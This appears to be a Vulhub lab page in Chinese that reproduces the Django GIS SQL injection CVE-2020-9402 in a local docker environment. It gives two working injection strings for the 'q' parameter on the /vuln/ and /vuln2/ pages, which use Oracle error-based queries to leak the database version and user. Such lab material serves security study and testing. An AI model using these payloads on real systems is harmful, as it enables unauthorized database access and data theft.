Django GIS SQL注入漏洞(CVE-2020-9402)
Path django/CVE-2020-9402
Django在2020年3月4日發布了一個安全更新,修復了在GIS 查詢功能中存在的SQL注入漏洞。
參考鏈接:
該漏洞需要開發者使用了GIS中聚合查詢的功能,用戶在oracle的數據庫且可控tolerance查詢時的鍵名,在其位置注入SQL語句。
漏洞環境
執行如下命令編譯及啟動一個存在漏洞的Django 3.0.3:
docker-compose build
docker-compose up -d
環境啟動后,訪問http://your-ip:8000即可看到Django默認首頁。
漏洞復現
漏洞一
首先訪問http://your-ip:8000/vuln/。
在該網頁中使用get方法構造q的參數,構造SQL注入的字符串20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1
可見,括號已注入成功,SQL語句查詢報錯:

漏洞二
訪問http://your-ip:8000/vuln2/。 在該網頁中使用get方法構造q的參數,構造出SQL注入的字符串0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null --

Vulhub 文檔